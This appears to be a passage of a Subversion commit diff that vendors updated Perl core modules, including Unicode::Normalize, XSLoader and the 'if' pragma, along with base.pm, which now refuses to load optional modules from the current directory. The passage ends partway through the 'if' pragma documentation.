@@ -299,7 +301,8 @@
 	}
 T_INOUT
 	{
-	    GV *gv = newGVgen("$Package");
+	    GV *gv = (GV *)sv_newmortal();
+	    gv_init(gv, gv_stashpv("$Package",1),"__ANONIO__",10,0);
 	    if ( do_open(gv, "+<&", 3, FALSE, 0, 0, $var) )
 		sv_setsv($arg, sv_bless(newRV((SV*)gv), gv_stashpv("$Package",1)));
 	    else
@@ -307,7 +310,8 @@
 	}
 T_OUT
 	{
-	    GV *gv = newGVgen("$Package");
+	    GV *gv = (GV *)sv_newmortal();
+	    gv_init(gv, gv_stashpv("$Package",1),"__ANONIO__",10,0);
 	    if ( do_open(gv, "+>&", 3, FALSE, 0, 0, $var) )
 		sv_setsv($arg, sv_bless(newRV((SV*)gv), gv_stashpv("$Package",1)));
 	    else

Added: vendor/perl/dist/dist/Unicode-Normalize/Changes
===================================================================
--- vendor/perl/dist/dist/Unicode-Normalize/Changes	                        (rev 0)
+++ vendor/perl/dist/dist/Unicode-Normalize/Changes	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,258 @@
+Revision history for Perl extension Unicode::Normalize.
+
+1.26  *** RELEASE DATE HERE ***
+    - Switch to XSLoader from Dynaloader
+
+1.25  Wed Dec 16 03:05:57 UTC 2015
+    - Fix Normalize.xs to work on releases earlier than 5.8.  The problem was
+      introduced in this module's version 1.24
+    - Go back to shipping pure perl version as well as XS, as was done up
+      through release 1.17
+
+1.24  Sun Nov 29 05:48:44 UTC 2015
+    - Updated to use most recent GNU license file.
+      ( https://rt.cpan.org/Public/Bug/Display.html?id=108003 )
+    - Silence compiler warning message
+      ( https://rt.cpan.org/Public/Bug/Display.html?id=109577 )
+    - Add kwalitee suggested changes.
+
+1.23  Sun Oct 25 14:50:28 UTC 2015
+    - Fix mkhdr to work on releases earlier than 5.8
+
+1.22  Thu Oct 08 16:50:17 2015
+    - Reinstate XSUB, now works on modern EBCDIC perls as well.
+    - Kwalitee changes
+    - Makefile fixes
+    - small bug fix in header generation script.
+
+1.21  Fri Oct 02 15:33:17 2015
+    - Get pure perl version to work on modern EBCDIC perls.
+    - Some comment and pod improvements
+
+1.20  Fri Oct 02 15:30:40 2015
+    - Not officially released, was incomplete import of 1.19 
+
+1.19  Sat Jul 11 12:39:38 2015
+    - [rt.cpan.org #105620] Useless dependency on bytes and File::Copy
+
+1.18  Tue May 27 22:04:23 2014
+    - XSUB is now deprecated and removed. see perl 5.20.0,
+      perldelta, Internal Changes, deprecation of uvuni_to_utf8 etc.
+    - Thank you for everything !!
+
+1.17  Sat Oct  5 11:36:43 2013
+    - assertion using unpack
+
+1.16  Sun Nov  4 17:23:03 2012
+    - XSUB: use PERL_NO_GET_CONTEXT (see perlguts)
+      (see [rt.cpan.org #80312])
+
+1.15  Sun Sep 23 10:43:14 2012
+    - perl 5.11.0 or later: Install to 'site' instead of 'perl'
+      (see [rt.cpan.org #79801])
+
+1.14  Sat Mar 10 13:34:53 2012
+    - avoid "use Test".
+
+1.13  Mon Jul 25 21:07:49 2011
+    - tried fixing the tarball with world writable files.
+      ( http://www.perlmonks.org/?node_id=731935 )
+
+1.12  Mon May 16 23:36:07 2011
+    - removed Normalize/CompExcl.pl and coded Composition Exclusions;
+      how to load CompExcl.pl seems not good, but I'm not sure...
+
+1.11  Sun May 15 20:31:09 2011
+    - As perl 5.14.0 has removed unicore/CompositionExclusions.txt
+      from the installation, Normalize/CompExcl.pl in this distribution
+      is used instead. (see [rt.cpan.org #68106])
+
+1.10  Sun Jan 16 21:00:34 2011
+    - XSUB: reorder() and compose() treat with growing the string.
+    - XSUB: provision against UTF8_ALLOW_* flags to be undefined in future.
+    - doc: about perl 5.13.x and Unicode 6.0.0
+    - doc and comments: [perl #81876] Fix typos by Peter J. Acklam.
+
+1.07  Mon Sep 20 20:20:02 2010
+    - doc: about perl 5.12.x and Unicode 5.2.0
+    - test: prototype of normalize_partial() and cousins in proto.t.
+
+1.06  Thu Feb 11 16:19:54 2010
+    - mkheader/Pure Perl: fixed the internal _getHexArray() for perl 5.11.3
+      changes (Bug #53197).
+
+1.05  Mon Sep 28 21:43:17 2009
+    - normalize_partial() and NFX_partial(). { NFX =~ /^NFK?[CD]\z/ }
+    - added partial1.t for NFX_partial().
+    - added partial2.t for normalize_partial().
+
+1.04  Wed Sep 23 22:32:57 2009
+    - doc: splitOnLastStarter() since 0.24 is now documented.
+    - test: some new tests are added to split.t.
+
+1.03  Sun Mar 29 12:56:23 2009
+    - mkheader: check if no composition needs growing the string.
+    - Makefile.PL: a tweak
+
+1.02  Tue Jun  5 22:46:45 2007
+    - XSUB: mkheader, _U_stringify() - avoid unpack('C*') on unicode.
+    - test: short.t removed - pure perl is not appropriate for test of
+            unicode edge cases.
+
+1.01  Tue Jun 13 22:01:53 2006
+    - XSUB: sv_setpvn() needs cast to (char*).
+    - XSUB: avoid double FETCH for tied scalar variables.
+    - added tie.t.
+
+1.00  Thu May 25 20:35:06 2006
+    - Pure Perl: compose($not_canonically_reordered) works like that in XSUB,
+      where an intervening character with higher combining class blocks
+      the composition. (This change doesn't affect any normalization forms.)
+    - XSUB: NFD(), NFC(), NFKD(), NFC(), and FCC() are now in XSUB, then
+      internal subroutine calls are avoided.
+    - The functions isComp_Ex(), isNFD_NO(), isNFC_NO(), isNFC_MAYBE(),
+      isNFKD_NO(), isNFKC_NO(), and isNFKC_MAYBE() are documented.
+    - Tests are more amplified and documentations are more clarified.
+    - Makefile.PL: Change 26295 is incorporated.
+
+0.32  Tue Apr  5 22:47:09 2005
+    - Some literal and grammatical errors in POD are fixed.
+
+0.31  Tue Apr  5 21:43:20 2005
+    - CAVEATS in POD is added.
+    - Some test cases from Unicode Public Review Issue #29
+      (Normalization Issue) are added to norm.t and test.t.
+    - do 'mkheader' returns true so that Makefile.PL will catch error.
+    - META.yml is added.
+
+0.30  Sun May  2 14:35:00 2004
+    - XSUB: (perl 5.8.1 or later) improved utf8 upgrade of non-POK
+      (private POK) values like tied scalars, overloaded objects, etc.
+
+0.28  Sat Nov 22 23:46:24 2003
+    - XSUB: even if string contains a malformed, "short" Unicode character,
+      decompose() and reorder() will be safe. Garbage will be no longer added.
+    - added null.t and short.t.
+    - now truly added illegal.t (in 0.27, forgot to change MANIFEST).
+
+0.27  Sun Nov 16 13:16:21 2003
+    - Illegal code points (surrogate and noncharacter) will be allowed
+      (keep your code with <no warnings 'utf8';>);
+      but porting is not successful in the case of ((Pure Perl) and
+      (Perl 5.7.3 or before)).
+    - added illegal.t.
+
+0.26  Sat Nov 15 21:52:30 2003
+    - doc fix: s/FCD(?= is unique)/FCC/;
+
+0.25  Mon Oct  6 22:26:03 2003
+    - added form.t and proto.t.
+
+0.24  Sat Oct  4 17:57:10 2003
+    - supports FCD and FCC (UTN #5):
+      FCD(), normalize('FCD'), checkFCD(), check('FCD');
+      FCC(), normalize('FCC'), checkFCC(), check('FCC').
+    - changed INSTALLATION (cf. README).
+      * Initial state of the distribution is changed to XSUB.  To build
+        pure Perl, type <perl disableXS> before <perl Makefile.PL>.
+      * The purePerl-XSUB converter is now provided as two perl
+        script files, named "enableXS" and "disableXS".
+        (no longer <perl Makefile.PL xs> and <perl Makefile.PL noxs>.)
+      * simplified Makefile.PL.
+    - added fcdc.t for FCD() and FCC().
+    - added split.t for splitOnLastStarter(): an undocumented function.
+
+0.23  Sat Jun 28 20:38:10 2003
+    - bug fix: \0-terminate in compose() in XS.
+    - tweak in pure perl: forced $codepoint to numeric (i.e. "+0065" to 65)
+    - tweak of POD and README.
+
+0.22  Mon Jun 09 22:23:10 2003
+    - internal tweak (again): pack_U() and unpack_U().
+
+0.21  Thu Apr 02 23:12:54 2003
+    - internal tweak: for (?un)pack 'U'.
+
+0.20  Sun Mar 02 13:29:25 2003
+    - decompose Hangul syllables in a decomposition mapping.
+
+0.18  ... unreleased
+    - synchronization with bleadperl.
+    - Change 16262: by sadahiro
+
+0.17  Sun Apr 28 23:13:32 2002
+    - now normalize('NFC',$1) should work.
+    - Some croak()'s are added in mkheader.
+    - synchronization with bleadperl.
+    - Change 15596: by sadahiro
+    - Change 16136: by pudge
+
+0.16  Thu Mar 21 13:36:14 2002
+    - synchronization with bleadperl.
+    - Change 15318: by jhi
+    - Change 15319: by jhi
+
+0.15  Tue Mar 19 22:04:07 2002
+    - Quick check is implemented.
+    - decompose(), reorder(), and compose() are documented.
+    - The Non-XS version is also independent of Lingua::KO::Hangul::Util.
+
+0.14  Sat Feb 02 20:40:14 2002
+    - synchronization with bleadperl.
+    - Change 14128: by Arthur
+    - Change 14129: by jhi
+    - Change 14156: by sadahiro
+    - Change 14199: by Nikola Knezevic
+    - Change 14308: by Benjamin Goldberg
+    - Change 14370: by jhi
+
+0.13  Sat Dec 01 11:42:43 2001
+    - modify Makefile.PL to enable rebuild.
+      (This problem is pointed out by David Dyck.)
+    - Change 13388: by Jarkko Hietaniemi.
+
+0.12  Wed Nov 29 22:49:02 2001
+    - documentation in .pod is appended to .pm and the .pod is removed.
+     (only POD in NON-XS refers to Lingua::KO::Hangul::Util.)
+
+0.11  Sat Nov 24 10:18:38 2001
+    - documentation of some functions for character data.
+    - Change 12909: by Jarkko Hietaniemi.
+    - Change 13228: by Peter Prymmer.
+
+0.10  Sat Nov 03 16:30:20 2001
+    - The XS version is now independent of Lingua::KO::Hangul::Util.
+      (though the Non-XS version still requires that.)
+
+0.09  Fri Nov 02 22:39:30 2001
+    - remove pTHX_.
+
+0.08  Thu Nov 01 23:20:42 2001
+    - use Lingua::KO::Hangul::Util 0.06 and remove "hangul.h".
+
+0.07  Wed Oct 31 22:06:42 2001
+    - modify internal. decompose() - reorder() - compose().
+
+0.06  Sun Oct 28 14:28:46 2001
+    - an XS version.
+    (but the Non-XS version is also supported.)
+
+0.05  Wed Oct 10 22:02:15 2001 (not released)
+    - %Compos contains unnecessary singletons
+      (though it did not cause any bug, only useless).
+      They will not be stored.
+
+0.04  Wed Aug 15 19:02:41 2001
+    - fix: NFD("") and NFKD("") must return "", not but undef.
+
+0.03  Fri Aug 10 22:44:18 2001
+    - rename the module name to Unicode::Normalize.
+    - normalize takes two arguments.
+
+0.02  Thu Aug  9 22:56:36 2001
+    - add function normalize
+
+0.01  Mon Aug  6 21:45:11 2001
+    - original version; created by h2xs 1.21 with options
+          -A -X -n Text::Unicode::Normalize
+

Modified: vendor/perl/dist/dist/Unicode-Normalize/Normalize.pm
===================================================================
--- vendor/perl/dist/dist/Unicode-Normalize/Normalize.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Unicode-Normalize/Normalize.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,7 +16,7 @@
 
 no warnings 'utf8';
 
-our $VERSION = '1.25';
+our $VERSION = '1.26';
 our $PACKAGE = __PACKAGE__;
 
 our @EXPORT = qw( NFC NFD NFKC NFKD );
@@ -56,9 +56,9 @@
 
 ##### The above part is common to XS and PP #####
 
-our @ISA = qw(Exporter DynaLoader);
-require DynaLoader;
-bootstrap Unicode::Normalize $VERSION;
+our @ISA = qw(Exporter);
+use XSLoader ();
+XSLoader::load( 'Unicode::Normalize', $VERSION );
 
 ##### The below part is common to XS and PP #####
 

Modified: vendor/perl/dist/dist/XSLoader/XSLoader_pm.PL
===================================================================
--- vendor/perl/dist/dist/XSLoader/XSLoader_pm.PL	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/XSLoader/XSLoader_pm.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,7 +11,7 @@
 
 package XSLoader;
 
-$VERSION = "0.27";
+$VERSION = "0.30"; # remember to update version in POD!
 
 #use strict;
 
@@ -66,6 +66,7 @@
 
     my @modparts = split(/::/,$module);
     my $modfname = $modparts[-1];
+    my $modfname_orig = $modfname; # For .bs file search
 
 EOT
 
@@ -140,17 +141,13 @@
 
 #   print STDERR "XSLoader::load for $module ($file)\n" if $dl_debug;
 
-    my $bs = $file;
-    $bs =~ s/(\.\w+)?(;\d*)?$/\.bs/; # look for .bs 'beside' the library
+    # N.B. The .bs file does not following the naming convention used
+    # by mod2fname, so use the unedited version of the name.
 
-    if (-s $bs) { # only read file if it's not empty
-#       print STDERR "BS: $bs ($^O, $dlsrc)\n" if $dl_debug;
-        eval { local @INC = ('.'); do $bs; };
-        warn "$bs: $@\n" if $@;
-	goto \&XSLoader::bootstrap_inherit;
-    }
+    my $bs = "$modlibname/auto/$modpname/$modfname_orig.bs";
 
-    goto \&XSLoader::bootstrap_inherit if not -f $file;
+    # This calls DynaLoader::bootstrap, which will load the .bs file if present
+    goto \&XSLoader::bootstrap_inherit if not -f $file or -s $bs;
 
     my $bootname = "boot_$module";
     $bootname =~ s/\W/_/g;
@@ -255,7 +252,7 @@
 
 =head1 VERSION
 
-Version 0.24
+Version 0.30
 
 =head1 SYNOPSIS
 
@@ -262,7 +259,7 @@
     package YourPackage;
     require XSLoader;
 
-    XSLoader::load();
+    XSLoader::load(__PACKAGE__, $VERSION);
 
 =head1 DESCRIPTION
 
@@ -283,7 +280,7 @@
 
     our @ISA = qw( OnePackage OtherPackage DynaLoader );
     our $VERSION = '0.01';
-    bootstrap YourPackage $VERSION;
+    __PACKAGE__->bootstrap($VERSION);
 
 Change this to
 
@@ -292,7 +289,7 @@
 
     our @ISA = qw( OnePackage OtherPackage );
     our $VERSION = '0.01';
-    XSLoader::load 'YourPackage', $VERSION;
+    XSLoader::load(__PACKAGE__, $VERSION);
 
 In other words: replace C<require DynaLoader> by C<use XSLoader>, remove
 C<DynaLoader> from C<@ISA>, change C<bootstrap> by C<XSLoader::load>.  Do not
@@ -309,10 +306,9 @@
 
 If no C<$VERSION> was specified on the C<bootstrap> line, the last line becomes
 
-    XSLoader::load 'YourPackage';
+    XSLoader::load(__PACKAGE__);
 
-If the call to C<load> is from C<YourPackage>, then that can be further
-simplified to
+in which case it can be further simplified to
 
     XSLoader::load();
 
@@ -324,18 +320,17 @@
 boilerplate.
 
     package YourPackage;
-    use vars qw($VERSION @ISA);
 
-    @ISA = qw( OnePackage OtherPackage );
-    $VERSION = '0.01';
+    our @ISA = qw( OnePackage OtherPackage );
+    our $VERSION = '0.01';
     eval {
        require XSLoader;
-       XSLoader::load('YourPackage', $VERSION);
+	XSLoader::load(__PACKAGE__, $VERSION);
        1;
     } or do {
        require DynaLoader;
        push @ISA, 'DynaLoader';
-       bootstrap YourPackage $VERSION;
+       __PACKAGE__->bootstrap($VERSION);
     };
 
 The parentheses about C<XSLoader::load()> arguments are needed since we replaced
@@ -393,7 +388,7 @@
 
     package YourPackage;
     use XSLoader;
-    use vars qw($VERSION @ISA);
+    our ($VERSION, @ISA);
 
     BEGIN {
        @ISA = qw( OnePackage OtherPackage );
@@ -401,7 +396,7 @@
 
        # Put Perl code used in the BOOT: section here
 
-       XSLoader::load 'YourPackage', $VERSION;
+       XSLoader::load(__PACKAGE__, $VERSION);
     }
 
     # Put Perl code making calls into XSUBs here
@@ -416,12 +411,12 @@
 
     package YourPackage;
     use XSLoader;
-    use vars qw($VERSION @ISA);
+    our ($VERSION, @ISA);
 
     BEGIN {
        @ISA = qw( OnePackage OtherPackage );
        $VERSION = '0.01';
-       XSLoader::load 'YourPackage', $VERSION;
+       XSLoader::load(__PACKAGE__, $VERSION);
     }
 
     # Put Perl code used in onBOOT() function here; calls to XSUBs are

Modified: vendor/perl/dist/dist/autouse/t/autouse.t
===================================================================
--- vendor/perl/dist/dist/autouse/t/autouse.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/autouse/t/autouse.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -98,13 +98,14 @@
 SKIP: {
     skip "Fails in 5.15.5 and below (perl bug)", 1 if $] < 5.0150051;
     use Config;
-    skip "no B", 1 unless $Config{extensions} =~ /\bB\b/;
+    skip "no Hash::Util", 1 unless $Config{extensions} =~ /\bHash::Util\b/;
     use warnings; local $^W = 1; no warnings 'once';
     my $w;
     local $SIG{__WARN__} = sub { $w .= shift };
-    use autouse B => "sv_undef";
-    *B::sv_undef = \&sv_undef;
-    require B;
+    # any old XS sub from any old module which uses Exporter
+    use autouse 'Hash::Util' => "all_keys";
+    *Hash::Util::all_keys = \&all_keys;
+    require Hash::Util;
     is $w, undef,
       'no redefinition warning when clobbering autouse stub with new XSUB';
 }

Modified: vendor/perl/dist/dist/base/lib/base.pm
===================================================================
--- vendor/perl/dist/dist/base/lib/base.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/base/lib/base.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,10 +2,14 @@
 package base;
 
 use strict 'vars';
-use vars qw($VERSION);
-$VERSION = '2.25';
+our $VERSION = '2.27';
 $VERSION =~ tr/_//d;
 
+# simplest way to avoid indexing of the package: no package statement
+sub base::__inc::unhook { @INC = grep !(ref eq 'CODE' && $_ == $_[0]), @INC }
+# instance is blessed array of coderefs to be removed from @INC at scope exit
+sub base::__inc::scope_guard::DESTROY { base::__inc::unhook $_ for @{$_[0]} }
+
 # constant.pm is slow
 sub SUCCESS () { 1 }
 
@@ -91,13 +95,59 @@
 
         next if grep $_->isa($base), ($inheritor, @bases);
 
-        # Following blocks help isolate $SIG{__DIE__} changes
+        # Following blocks help isolate $SIG{__DIE__} and @INC changes
         {
             my $sigdie;
             {
                 local $SIG{__DIE__};
                 my $fn = _module_to_filename($base);
-                eval { require $fn };
+                my $dot_hidden;
+                eval {
+                    my $guard;
+                    if ($INC[-1] eq '.' && %{"$base\::"}) {
+                        # So:  the package already exists   => this an optional load
+                        # And: there is a dot at the end of @INC  => we want to hide it
+                        # However: we only want to hide it during our *own* require()
+                        # (i.e. without affecting nested require()s).
+                        # So we add a hook to @INC whose job is to hide the dot, but which
+                        # first checks checks the callstack depth, because within nested
+                        # require()s the callstack is deeper.
+                        # Since CORE::GLOBAL::require makes it unknowable in advance what
+                        # the exact relevant callstack depth will be, we have to record it
+                        # inside a hook. So we put another hook just for that at the front
+                        # of @INC, where it's guaranteed to run -- immediately.
+                        # The dot-hiding hook does its job by sitting directly in front of
+                        # the dot and removing itself from @INC when reached. This causes
+                        # the dot to move up one index in @INC, causing the loop inside
+                        # pp_require() to skip it.
+                        # Loaded coded may disturb this precise arrangement, but that's OK
+                        # because the hook is inert by that time. It is only active during
+                        # the top-level require(), when @INC is in our control. The only
+                        # possible gotcha is if other hooks already in @INC modify @INC in
+                        # some way during that initial require().
+                        # Note that this jiggery hookery works just fine recursively: if
+                        # a module loaded via base.pm uses base.pm itself, there will be
+                        # one pair of hooks in @INC per base::import call frame, but the
+                        # pairs from different nestings do not interfere with each other.
+                        my $lvl;
+                        unshift @INC,        sub { return if defined $lvl; 1 while defined caller ++$lvl; () };
+                        splice  @INC, -1, 0, sub { return if defined caller $lvl; ++$dot_hidden, &base::__inc::unhook; () };
+                        $guard = bless [ @INC[0,-2] ], 'base::__inc::scope_guard';
+                    }
+                    require $fn
+                };
+                if ($dot_hidden && (my @fn = grep -e && !( -d _ || -b _ ), $fn.'c', $fn)) {
+                    require Carp;
+                    Carp::croak(<<ERROR);
+Base class package "$base" is not empty but "$fn[0]" exists in the current directory.
+    To help avoid security issues, base.pm now refuses to load optional modules
+    from the current working directory when it is the last entry in \@INC.
+    If your software worked on previous versions of Perl, the best solution
+    is to use FindBin to detect the path properly and to add that path to
+    \@INC.  As a last resort, you can re-enable looking in the current working
+    directory by adding "use lib '.'" to your code.
+ERROR
+                }
                 # Only ignore "Can't locate" errors from our eval require.
                 # Other fatal errors (syntax etc) must be reported.
                 #

Modified: vendor/perl/dist/dist/base/lib/fields.pm
===================================================================
--- vendor/perl/dist/dist/base/lib/fields.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/base/lib/fields.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,9 +10,9 @@
         Carp::carp(@_);
     }
 }
-use vars qw(%attr $VERSION);
+our %attr;
 
-$VERSION = '2.23';
+our $VERSION = '2.24';
 $VERSION =~ tr/_//d;
 
 # constant.pm is slow

Modified: vendor/perl/dist/dist/base/t/base.t
===================================================================
--- vendor/perl/dist/dist/base/t/base.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/base/t/base.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,7 +8,7 @@
 
 package No::Version;
 
-use vars qw($Foo);
+our $Foo;
 sub VERSION { 42 }
 
 package Test::Version;

Modified: vendor/perl/dist/dist/base/t/fields-5_6_0.t
===================================================================
--- vendor/perl/dist/dist/base/t/fields-5_6_0.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/base/t/fields-5_6_0.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,7 +8,7 @@
 }
 
 use strict;
-use vars qw($Total_tests);
+our $Total_tests;
 
 my $test_num = 1;
 BEGIN { $| = 1; $^W = 1; }
@@ -62,7 +62,7 @@
 }
 
 use strict;
-use vars qw($DEBUG);
+our $DEBUG;
 
 package B1;
 use fields qw(b1 b2 b3);

Modified: vendor/perl/dist/dist/base/t/fields-5_8_0.t
===================================================================
--- vendor/perl/dist/dist/base/t/fields-5_8_0.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/base/t/fields-5_8_0.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -22,7 +22,7 @@
 }
 
 use strict;
-use vars qw($DEBUG);
+our $DEBUG;
 
 package B1;
 use fields qw(b1 b2 b3);

Added: vendor/perl/dist/dist/base/t/incdot.t
===================================================================
--- vendor/perl/dist/dist/base/t/incdot.t	                        (rev 0)
+++ vendor/perl/dist/dist/base/t/incdot.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,55 @@
+#!/usr/bin/perl -w
+
+use strict;
+
+#######################################################################
+
+sub array_diff {
+    my ( $got, $expected ) = @_;
+    push @$got,      ( '(missing)' )          x ( @$expected - @$got ) if @$got < @$expected;
+    push @$expected, ( '(should not exist)' ) x ( @$got - @$expected ) if @$got > @$expected;
+    join "\n    ", '  All differences:', (
+        map +( "got  [$_] " . $got->[$_], 'expected'.(' ' x length).$expected->[$_] ),
+        grep $got->[$_] ne $expected->[$_],
+        0 .. $#$got
+    );
+}
+
+#######################################################################
+
+use Test::More tests => 8;  # some extra tests in t/lib/BaseInc*
+
+use lib 't/lib', sub {()};
+
+# make it look like an older perl
+BEGIN { push @INC, '.' if $INC[-1] ne '.' }
+
+BEGIN {
+	my $x = sub { CORE::require $_[0] };
+	my $y = sub { &$x };
+	my $z = sub { &$y };
+	*CORE::GLOBAL::require = $z;
+}
+
+my @expected; BEGIN { @expected = @INC }
+
+use base 'BaseIncMandatory';
+
+BEGIN {
+    @t::lib::Dummy::ISA = (); # make it look like an optional load
+    my $success = eval q{use base 't::lib::Dummy'}, my $err = $@;
+    ok !$success, 'loading optional modules from . using base.pm fails';
+    is_deeply \@INC, \@expected, '... without changes to @INC'
+        or diag array_diff [@INC], [@expected];
+    like $err, qr!Base class package "t::lib::Dummy" is not empty but "t/lib/Dummy\.pm" exists in the current directory\.!,
+        '... and the proper error message';
+}
+
+BEGIN { @BaseIncOptional::ISA = () } # make it look like an optional load
+use base 'BaseIncOptional';
+
+BEGIN {
+    @expected = ( 't/lib/on-head', @expected, 't/lib/on-tail' );
+    is_deeply \@INC, \@expected, 'modules loaded by base can extend @INC at both ends'
+        or diag array_diff [@INC], [@expected];
+}

Added: vendor/perl/dist/dist/base/t/lib/BaseIncMandatory.pm
===================================================================
--- vendor/perl/dist/dist/base/t/lib/BaseIncMandatory.pm	                        (rev 0)
+++ vendor/perl/dist/dist/base/t/lib/BaseIncMandatory.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,9 @@
+package BaseIncMandatory;
+
+BEGIN { package main;
+    is $INC[-1], '.', 'trailing dot remains in @INC during mandatory module load from base';
+    ok eval('require t::lib::Dummy'), '... and modules load fine from .' or diag "$@";
+    delete $INC{'t/lib/Dummy.pm'};
+}
+
+1;

Added: vendor/perl/dist/dist/base/t/lib/BaseIncOptional.pm
===================================================================
--- vendor/perl/dist/dist/base/t/lib/BaseIncOptional.pm	                        (rev 0)
+++ vendor/perl/dist/dist/base/t/lib/BaseIncOptional.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,13 @@
+package BaseIncOptional;
+
+BEGIN { package main;
+    is $INC[-1], '.', 'trailing dot remains in @INC during optional module load from base';
+    ok eval('require t::lib::Dummy'), '... and modules load fine from .' or diag "$@";
+    delete $INC{'t/lib/Dummy.pm'};
+}
+
+use lib 't/lib/on-head';
+
+push @INC, 't/lib/on-tail';
+
+1;

Modified: vendor/perl/dist/dist/constant/t/constant.t
===================================================================
--- vendor/perl/dist/dist/constant/t/constant.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/constant/t/constant.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 #!./perl -T
 
 use warnings;
-use vars qw{ @warnings $fagwoosh $putt $kloong};
+our ( @warnings, $fagwoosh, $putt, $kloong );
 BEGIN {				# ...and save 'em for later
     $SIG{'__WARN__'} = sub { push @warnings, @_ }
 }

Modified: vendor/perl/dist/dist/if/Changes
===================================================================
--- vendor/perl/dist/dist/if/Changes	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/if/Changes	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,14 @@
 Revision history for Perl extension if.
 
+0.0608    2018-02-01
+        - Clarify documentation and test more thoroughly.
+          [perl 132732] use if - behaviour does not match documentation
+
+0.0607    2017-06-01
+        - Add documentation re modules with empty import list
+          [perl 131142] "if" pragma POD addition for modules with an
+          empty import list
+
 0.0606    2015-10-01
         - add license information to pod
 

Added: vendor/perl/dist/dist/if/MANIFEST
===================================================================
--- vendor/perl/dist/dist/if/MANIFEST	                        (rev 0)
+++ vendor/perl/dist/dist/if/MANIFEST	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,8 @@
+Changes
+if.pm
+LICENSE
+Makefile.PL
+MANIFEST
+META.json			Module meta-data (added by MakeMaker)
+META.yml			Module meta-data (added by MakeMaker)
+t/if.t

Added: vendor/perl/dist/dist/if/META.json
===================================================================
--- vendor/perl/dist/dist/if/META.json	                        (rev 0)
+++ vendor/perl/dist/dist/if/META.json	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,43 @@
+{
+   "abstract" : "C<use> a Perl module if a condition holds",
+   "author" : [
+      "Ilya Zakharevich <ilyaz at cpan.org>"
+   ],
+   "dynamic_config" : 0,
+   "generated_by" : "ExtUtils::MakeMaker version 7.24, CPAN::Meta::Converter version 2.150010",
+   "license" : [
+      "perl_5"
+   ],
+   "meta-spec" : {
+      "url" : "http://search.cpan.org/perldoc?CPAN::Meta::Spec",
+      "version" : "2"
+   },
+   "name" : "if",
+   "no_index" : {
+      "directory" : [
+         "t",
+         "inc"
+      ]
+   },
+   "prereqs" : {
+      "build" : {
+         "requires" : {
+            "ExtUtils::MakeMaker" : "0"
+         }
+      },
+      "configure" : {
+         "requires" : {
+            "ExtUtils::MakeMaker" : "0"
+         }
+      }
+   },
+   "release_status" : "stable",
+   "resources" : {
+      "bugtracker" : {
+         "web" : "https://rt.perl.org"
+      },
+      "repository" : {}
+   },
+   "version" : "0.0608",
+   "x_serialization_backend" : "JSON::PP version 2.27400_02"
+}

Added: vendor/perl/dist/dist/if/META.yml
===================================================================
--- vendor/perl/dist/dist/if/META.yml	                        (rev 0)
+++ vendor/perl/dist/dist/if/META.yml	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,23 @@
+---
+abstract: 'C<use> a Perl module if a condition holds'
+author:
+  - 'Ilya Zakharevich <ilyaz at cpan.org>'
+build_requires:
+  ExtUtils::MakeMaker: '0'
+configure_requires:
+  ExtUtils::MakeMaker: '0'
+dynamic_config: 0
+generated_by: 'ExtUtils::MakeMaker version 7.24, CPAN::Meta::Converter version 2.150010'
+license: perl
+meta-spec:
+  url: http://module-build.sourceforge.net/META-spec-v1.4.html
+  version: '1.4'
+name: if
+no_index:
+  directory:
+    - t
+    - inc
+resources:
+  bugtracker: https://rt.perl.org
+version: '0.0608'
+x_serialization_backend: 'CPAN::Meta::YAML version 0.018'

Modified: vendor/perl/dist/dist/if/if.pm
===================================================================
--- vendor/perl/dist/dist/if/if.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/if/if.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
 package if;
 
-$VERSION = '0.0606';
+$VERSION = '0.0608';
 
 sub work {
   my $method = shift() ? 'import' : 'unimport';
@@ -25,67 +25,70 @@
 
 =head1 NAME
 
-if - C<use> a Perl module if a condition holds (also can C<no> a module)
+if - C<use> a Perl module if a condition holds
 
 =head1 SYNOPSIS
 
-  use if CONDITION, MODULE => ARGUMENTS;
-  no if CONDITION, MODULE => ARGUMENTS;
+    use if CONDITION, "MODULE", ARGUMENTS;
+    no  if CONDITION, "MODULE", ARGUMENTS;
 
 =head1 DESCRIPTION
 
-The C<if> module is used to conditionally load or unload another module.
-The construct
+=head2 C<use if>
 
-  use if CONDITION, MODULE => ARGUMENTS;
+The C<if> module is used to conditionally load another module.  The construct:
 
-will load MODULE only if CONDITION evaluates to true.
-The above statement has no effect unless C<CONDITION> is true.
-If the CONDITION does evaluate to true, then the above line has
-the same effect as:
+    use if CONDITION, "MODULE", ARGUMENTS;
 
-  use MODULE ARGUMENTS;
+... will load C<MODULE> only if C<CONDITION> evaluates to true; it has no
